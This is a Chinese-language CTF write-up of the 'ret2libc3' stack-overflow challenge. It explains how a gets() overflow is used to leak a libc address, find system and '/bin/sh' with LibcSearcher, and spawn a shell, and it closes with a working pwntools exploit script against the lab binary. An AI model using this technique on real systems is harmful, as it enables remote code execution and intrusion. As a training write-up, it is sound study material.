题目路径:
/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3
看一下C代码
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
puts("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("No surprise anymore, system disappeard QQ.\n");
printf("Can you find it !?");
gets(buf1);
return 0;
}
一、程序分析
Checksec查看一下程序保护机制:
$ checksec ret2libc3
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
该程序为32位程序并且开启了NX保护,本题在ret2libc2的基础上去掉了system函数地址。所以这道题需要找到system函数地址和/bin/sh字符串的地址。IDA查看一下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets((char *)&v4);
return 0;
}
还是gets函数接收存在溢出点,v4变量距离esp指针0x1c,距离ebp指针0x64,所以v4其实地址距离ret返回地址0x6c+4个字节
接下来需要考虑的是如何得到system函数的地址,主要利用两点:
- system函数属于libc,而libc.so同台链接库中的函数之间相对偏移是固定的
- 即使开启了ASLR保护,也只针对地址中间位进行随机,最低的12位不会发生改变
所以如果知道libc中某个函数的地址,哭了一确定该程序利用的libc,进而通过偏移获取system函数的地址
接下来需要做的是找到libc中某个函数的地址,一般常用的方法就是got表泄露,即输出某个函数对应的got表项的内容。由于libc的延迟绑定机制,做题时需要泄露已经执行过的函数的地址
最后根据上述步骤得到libc,通过在程序中查询偏移,计算出system的地址,可以通过LibcSearcher这个工具来代替繁琐的查找步骤
libc中不只有system函数,还有/bin/sh字符串,也可以通过偏移获得/bin/sh字符串地址
这道题我们选用_libc_start_main的地址,因为这是程序最初被执行的地方
void _start(void)
{
_libc_start_main(main);
do{
}while(true)
}
利用的思路如下:
- 泄露_libc_start_main地址
- 获取libc版本
- 通过偏移计算出system函数地址以及/bin/sh的地址
- 再次执行程序
- 触发栈溢出执行system(’/bin/sh’)
二、EXP
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3') #导入文件
ret2libc3 = ELF('./ret2libc3') #进行elf文件逆向
puts_plt = ret2libc3.plt['puts'] #获取puts函数的PLT表地址
libc_start_main_got = ret2libc3.got['__libc_start_main'] #获取linc_start_main got表地址
main = ret2libc3.symbols['main'] #获取main函数地址
#泄露libc_start_main获得地址并且再次返回main函数
payload = flat(['hollkdig' * 14, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
#已经获得了libc_start_main的got表地址
libc_start_main_addr = u32(sh.recv()[0:4]) #获取接收的后4位字符并且转换成为大端序
#通过LibcSearcher找到libc版本
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
#在找到libc版本后通过dump函数找到_libc_start_main函数的偏移,通过当前libc_start_main地址减去偏移的到libc的基地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#通过dump函数找到当前版本的system函数的偏移量,加上libc的基地址得到system函数的地址
system_addr = libcbase + libc.dump('system')
#通过dump函数找到当前版本的bin/sh字符串的偏移量,加上libc的基地址得到bin/sh字符串的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['hollkdig' * 13, system_addr, 'b'*4, binsh_addr])
sh.sendline(payload)
sh.interactive()
第二个payload用104个字节填满栈空间是因为第二次调用main函数的时候可能缺少了栈初始化的过程,第二次调用的时候并不是从一开始的OPE进入的,所以出现了少8位的情况,可以使用动态调试器修改内存地址进行调试计算